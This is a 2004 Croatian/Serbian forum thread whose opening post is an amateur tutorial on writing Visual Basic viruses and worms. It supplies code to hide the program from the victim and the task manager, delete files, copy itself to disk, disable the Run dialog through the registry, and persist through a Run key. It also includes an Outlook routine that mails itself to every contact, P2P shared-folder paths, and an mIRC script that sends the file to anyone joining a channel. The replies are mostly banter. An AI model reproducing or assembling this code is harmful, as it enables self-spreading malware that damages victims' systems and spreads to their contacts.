[ VRKY @ 28.09.2004. 19:07 ] @
Vrky / Copyright (c) 9/2004 / Croatia / [email protected]
===============================================================
Ja nisam baš neki odlični programer. Ali nešto ipak znam. Odlučio sam se napisati mali tutorić za VB viruse/crve neki djelovi u tekstu nisu izvorno moji a neki jesu. Ovaj tutor nije neki stručni nego ajmo reć amaterski. Tutor je namjenjen ljudima koji se interesiraju za kodiranje vira/worma u VB. Ne odgovaram za moguću štetu koja može nastati korištenjem sadržaja tutora.

1.Početak projekta „Virus“
Ja osobno pri početku pisanja (pravljenja) virusa/crva postavljam neka svojstva i karakteristike. U to spada: Skrivanje forme, skrivnje u task menegeru... obrada pogreške (u ovom slučaju prelazak preko pogreške) itd.
Skrivanje forme je jednostavno potrebno da žrtva kad pokrene virus u prvom trenutku ne vidi da je pokrenula neku aplikaciju. Ja za to koristim naredbu:

Code:

Me.Hide


Znači sad vi c/p ovaj kod u vaš projekt i pokrenite sad projekt i vidite kako to izgleda.. (ako ne znate kako se pokreće pritisnite F5) i vidite kako se sad ponaša... Znači sad ne vidite formu...

Skrivanje u task menegeru je isto korisno s ovim kad žrtva ode u u task menegeru u Applications –ima ne vidi da je pokrenut vir ali u processima vidi...
Znači za skrivanje vira u task menegeru koristimo sljedeći kod:

Code:

App.TaskVisible = False 


I ovaj kod c/p u vaš projekt i opet pogledajte kako radi... Odlično zar ne?

Obrada greške (u ovom slučaju prelazak) ovo je isto jako korisno npr. Nastane neka nepoznata greška u kodu i pomoću obrade greške (prelaska) ona se ne vidi drugim riječima pređe se preko nje kao da je nema...
Za to je naredba:

Code:

On error resume next


Znači i ovo vam dobro dođe u kodu.. Također c/p u vaš projekt...

2.Funkcije i pozivanje
Ovdje ću objasnit kako možete rasporedit vaše naredbe u posebne funkcije (tako će mo ih nazvat) i pozivat ih pomoću tih funkcija.

Meni je osobno preglednije i bolje koristit više funkcija u koje su raspoređene naredbe (kodovi). Funkcije pozivate iz

Code:

Private Sub Form_Load() 

End sub


Jer se u on pokreće pri pokretanju aplikacije. Jedan primjer:
U primjeru ću pokazati pozivanje funkcije u kojoj će bit naredbe koje smo naučili u prošlom poglavlju.


Code:

Private Sub Form_Load() 
ES
End sub

Private Sub ES() 
On error resume next
Me.hide
App.TaskVisible = False 
End sub


Znači s ovim sam primjerom pokazao kako pozivat drugu funkciju u kojoj je kod.. znači poziva se s imenom u ovom slučaju ES a možete uporabit i:


Code:

Private Sub Form_Load() 
Call ES
End sub

Private Sub ES() 
On error resume next
Me.hide
App.TaskVisible = False 
End sub


Onda možemo koristit i malo kraći put kod imenovanja funkcije npr.
Code:

Sub ES() 
On error resume next
Me.hide
App.TaskVisible = False 
End sub


kao što vidite uklonili samo ono “Private“... bez “Private” radi isto ko s njim... Ima dosta tih načina pozivanja ali nama je za sad dosta ovaj jedan...

3.Brisanje fajlova
Ovo je također vrlo dobro... Za brisanje fajlova i foldera imate više naredbi (kodova) ja za brisanje fajloa koristim naredbu:

Code:

Kill


Ovako izgleda jedan primjer:

Code:

Kill “C:\ES.exe”


Znači ovaj kod kad se pokrene briše na C disku fajl koji se zove ES.exe
Brisat fajlove možemo s više metoda još jedna je:

Code:

Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")
fso.DeleteFile("C:\ES.exe")
 


I ovaj kod kao i prethodni briše fajl na C disku...

4.Pravljenje foldera
Ova nije baš potrebno u pravljenju vira/crva ali ću isto spomenuti. Folder pravimo naredbom:

Code:

Mkdir
 


Evo jedan primjer:
Code:

Mkdir “"C:\ES“


Znači s ovim pravimo folder...


5.Kopiranje fajlova
Ovo je vrlo dobro... Kopija od virusa može u dosta stvari dobro doći... Ja se osobno za kopiranje koristim narebom...

Code:

FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\ES.exe"
 


Znači s ovom naredbom se naš virus kopira na C disk pod imenom ES.exe

6.Registry
S Registrijem možete mnogo toga...Samo malo trebate čeprkati po registriju. Ali prije čeprkanja napravite beckup...
Sad ću vam dati nekolka primjera kako zapisivati u registri...


Code:

Set wsc = CreateObject("WScript.Shell")
wsc.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1"
 


Mislim da ne moram objašnjavat kod...

7.Startup
Startup je nužan u svakome virusu... Imate nekolike mogućnosti pravljenja stratup-a ja se koristim s dvije metode a to su putem Registrija koji izgleda ovako:

Code:

Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
 


A druga metoda je kopiranje u Startup folder... A to možete sami iskombinirati tako da koritite naredbu za kopiranje koju ste već naučili i stavite joj putanju do stratup foldera.

8.Širenje
Ovo je dosta komplicirano imate dosta vrsta širenja npr. Mail, P2p ,Mirc, Pirch itd.. Mirc i Pirch metode su već zastarijele plus to mirc ne dopušta da se šalju .exe , .scr . .bat i još neki fajlove. Ja ću vam dati primjer za neke od tih širenja:


Code:

Set OutlookApp = CreateObject("Outlook.Application")
If Not OutlookApp = "" Then
For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists
For UserGroup = 1 To ContactSwitch.AddressEntries.Count
Set OutlookEmail = OutlookApp.CreateItem(0)
OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)
OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
OutlookEmail.DeleteAfterSubmit = True
OutlookEmail.Send
Next
Next
End If


Ko što možete vidit ovo je mail širenje (jednostavno) imate i još mogućnosti širenja preko maila ali ja o tome ne ću (ne znam baš) Možete ovaj kod prilagodit vašim potrebama... Znači možete mijenjati:

Code:

OutlookEmail.Subject = "Check this out!"
OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"
OutlookEmail.Attachments.Add WScript.ScriptFullName
 


Ovo što piše za Attachments znači da on daje samog sebe kao attechment (virus) al ii to možete mijenjati.

P2p širenje rdai na principu da se virus iskopira u foldere p2p programa.. Mislim da znate kako se to treba napravit... Evo vam lokacija foldera u koje trebate da iskopirate vaš virus:

Code:

C: \ Program Files\KMD\My Shared Folder
C: \ Program Files\Kazaa\My Shared Folder
C: \ Program Files\KaZaA Lite\My Shared Folder
C: \ Program Files\Morpheus\My Shared Folder
C: \ Program Files\Grokster\My Grokster
C: \ Program Files\BearShare\Shared
C: \ Program Files\Edonkey2000\Incoming


Mirc kao što sam već rekao je već zastario ali evo vam kod... Ja sam stavio da šalje .exe ali to u praksi ne rdai jer mirc ne dopušta da se taj tip fajla šalje...

Code:

FileCopy App.Path + "\" + App.EXEName + ".exe", C:\mIRC.exe"
Open “C:\script.ini" For Output As 1
Print #1, "[script]"
Print #1, "n1=on 1:JOIN:#:{"
Print #1, "n2= /if ( $nick == $me ) { halt }"
Print #1, "n3= /msg $nick Hi!I know all yours secrets!Check this file!"
Print #1, "n4= /dcc send -c $nick " & "\mIRC.exe"
Print #1, "n5= }"
Close 1


Znači tu morate još iskopirati fajl koji hoćete da se šalje...

Pirch je slično ko mirc ali ni o tome sad ne ću...
===============================================================
Nadam se da sam bar nekom s ovim pomogao. Ja zahvaljujem svima koji su meni pomagali i znam kako je to... Sva pitanja u vezi ovog postujte tu... Planiram i napravit još jedno izdanje ovog tutora...

Viruskrew of Croatia
Pozdrav svima...
[ CooKie @ 28.09.2004. 19:14 ] @
Hm ok tutor je za pocetnike.. i dobro je mozda ce nekome znaciti...
ja volim videti bilo kakve textove na nasem jeziku..
ej kralju a sta ti znaci ono dole na kraju :)???

Citat:

Viruskrew of Croatia
Pozdrav svima...


posto mislim nisam znao da VirusKrew postoji i u HR :)
Mislim ne znam ja sam u toj grupi od 97 :)
[ VRKY @ 28.09.2004. 19:49 ] @
To sam samo onako napisao...

[ CooKie @ 28.09.2004. 19:58 ] @
ma ok nije frka ;)
samo napred
[ BytEfLUSh @ 28.09.2004. 20:31 ] @
Hmmm sad sam sve video... Cookie-u nije frka da n00bs koji prave viruse u VB uzimaju ime "Viruskrew"...
[ VRKY @ 28.09.2004. 20:36 ] @
Ma to je bila šala... A što imaš protiv VB i CooKie pravi vire u VB
[ BytEfLUSh @ 28.09.2004. 20:46 ] @
VBS - možda...
VB - ne verujem...
[ Mitrović Srđan @ 28.09.2004. 21:57 ] @
:))) nemoj neko da dira kukisu bre i viruz kruv :))....

vrky samo napred ako te to ispunjava i ako te virusi zanimaju ....svako nadje nesto sto ga zanima...nemoj da se tripujes ako te neko napljuje.

aj zdravo
[ BytEfLUSh @ 28.09.2004. 23:31 ] @
Ma daj ako baš oće da pravi nešto nek uzme nešto ozbiljnije a ne igračku za decu...
VB... heh...

btw, ko dira kukija?
[ Mitrović Srđan @ 28.09.2004. 23:47 ] @
da ....da ma mora cim je m$ umesao prste :))).....bTw i nije bas igracka jbg .
nemoj tako da podcenjujes ljude koji ozbiljno rade u tome.drugo je sto svako smatra ko zeli da napravi virus da je VB prava stvar za to ....ipak mozda je on najlaksi za pocetak a posle vrky nas predje na asm :)) c itd dok ne pocne da razmislja binarno i tako lepo .... dok ne ocoravi ....jbg 001010100111 ....plip plip ...odjava

p.s.

ne dira niko naseg bakinom koljaca .kuki je nas covek :)
[ BytEfLUSh @ 28.09.2004. 23:56 ] @
Eh sad da nije baš igračka... Svejedno, n00b alat. Beginners ASIC...

A neko ko pravi viruse... Da koristi n00b alat... Tu nešto nije u redu. Zapravo, VRKY je verovatno izgubio ugled kad je pitao koje imaju interesantne komande za DOS...

OK, možda i on zna nešto, ali me n00b-ovi svejedno nerviraju...

PS: Jel Freek još u VK-u ili...... ?

[ VRKY @ 29.09.2004. 05:57 ] @
To što se tiče DOS-a sam pitao jer sam čitao o DOS-u u nekoj knjigi pa me više zanimalo (nije bio razlog pravljenje virusa) za pravljenje vira znam (neke osnovne) komande
[ CooKie @ 29.09.2004. 10:59 ] @
Heheh FreeK .. da pa svi smo mi od prvog dana u VK :) i ostali
Bio je u vojsci sad je tu.. kuci ja mislim..
slabo se cujemo
[ BytEfLUSh @ 29.09.2004. 14:27 ] @
VRKY: Ma ok, ali je malo glupo pokušavati praviti viruse kad se ne razumeš u komandnu liniju...

Cookie: Ma da, oslobodio se na 2 god :) Čujem se povremeno sa njim, mada ga nisam pitao o VK...
[ VRKY @ 29.09.2004. 14:34 ] @
Nije da ne raumijem nego me zanimalo više o DOS-u...
[ VRKY @ 30.09.2004. 19:47 ] @
Nisam baš zadovoljan ovim svojim tutorom... naparvit ću ubrzo još jedan ali opširniji i bolji...
[ Sundance @ 30.09.2004. 23:53 ] @
al ste radisni zadnjih dana :) samo pisi, kad zavrsis TOP-irat cemo tut. sto vise rasprava na temu programiranja, a sto manje na temu problema s istima - to bolje :)
[ VRKY @ 01.10.2004. 14:29 ] @
Tutor je u izradi.. I bit će ubrzo gotov. Postovat ću ga u novu temu. Bit će opširniji i kvalitetniji od ovog... Toliko za sad...
[ Dundjerski Nemanja @ 01.10.2004. 16:03 ] @
Kul, za pocetnike.

Moje znanje VB-a nije veliko, ali jedno mi je upalo u oci:
Citat:
Znači s ovim sam primjerom pokazao kako pozivat drugu funkciju u kojoj je kod.. znači poziva se s imenom u ovom slučaju ES a možete uporabit i:


Code:

Private Sub Form_Load()
Call ES
End sub

Private Sub ES()
On error resume next
Me.hide
App.TaskVisible = False
End sub


Kao sto vidis nisi koristio funkciju vec Sub rutinu odnosno proceduru ;). Funkcija vraca jedan i samo jedan rezultat (vrednost funkcije), dok procedura ne vraca rezultat.

Funkcija se definise sa Private Function ident(arg1 as tip1, ..., argN as tipN) as tip. Ne postoji return izraz; kao u C jeziku, vec se izlaz iz funkcije desava pri End Function.
[ VRKY @ 01.10.2004. 16:30 ] @
Znam, ali nisam znao kako bi drukčio mogao to nazvati pa sam to nazvao "Funkcija"
[ steewsc @ 15.10.2004. 11:58 ] @
Ja ne znam zasto VI VELIKI PISCI virusa omalovazavate VB>>>
Sta je to sto ne moze da se napravi u vbs-u ili VB-u, a moze u nekom drugom programskom jeziku?
[ VRKY @ 15.10.2004. 12:10 ] @
Ma pusti ih... VB je meni osobno odličan. U njemu se isto može (skoro) sve izvesti kao i u drugim programskim jezicima,samo eventualano malo lošije... Ali sve u svemu je VB OK programski jezik
[ Shadowed @ 15.10.2004. 12:17 ] @
Operativni sistem. Ali je moguce u VB-u napraviti program koji ce napraviti OS .
[ Marenović Slaviša @ 15.10.2004. 13:55 ] @
Citat:
VRKY: Nisam baš zadovoljan ovim svojim tutorom... naparvit ću ubrzo još jedan ali opširniji i bolji...


Svejedno, ja iz zezanja nacini nesto sto mi je kaspersky prepoznao kao worma.
Dobro je da nisam koristio ceo kod...
Uh, sta bi tek onda bilo....
[ VRKY @ 15.10.2004. 18:45 ] @
Koji si kod koristio... Npr. NOd odmah prije otavranja cijele teme prikazuje script virus (od onog za mail širenje).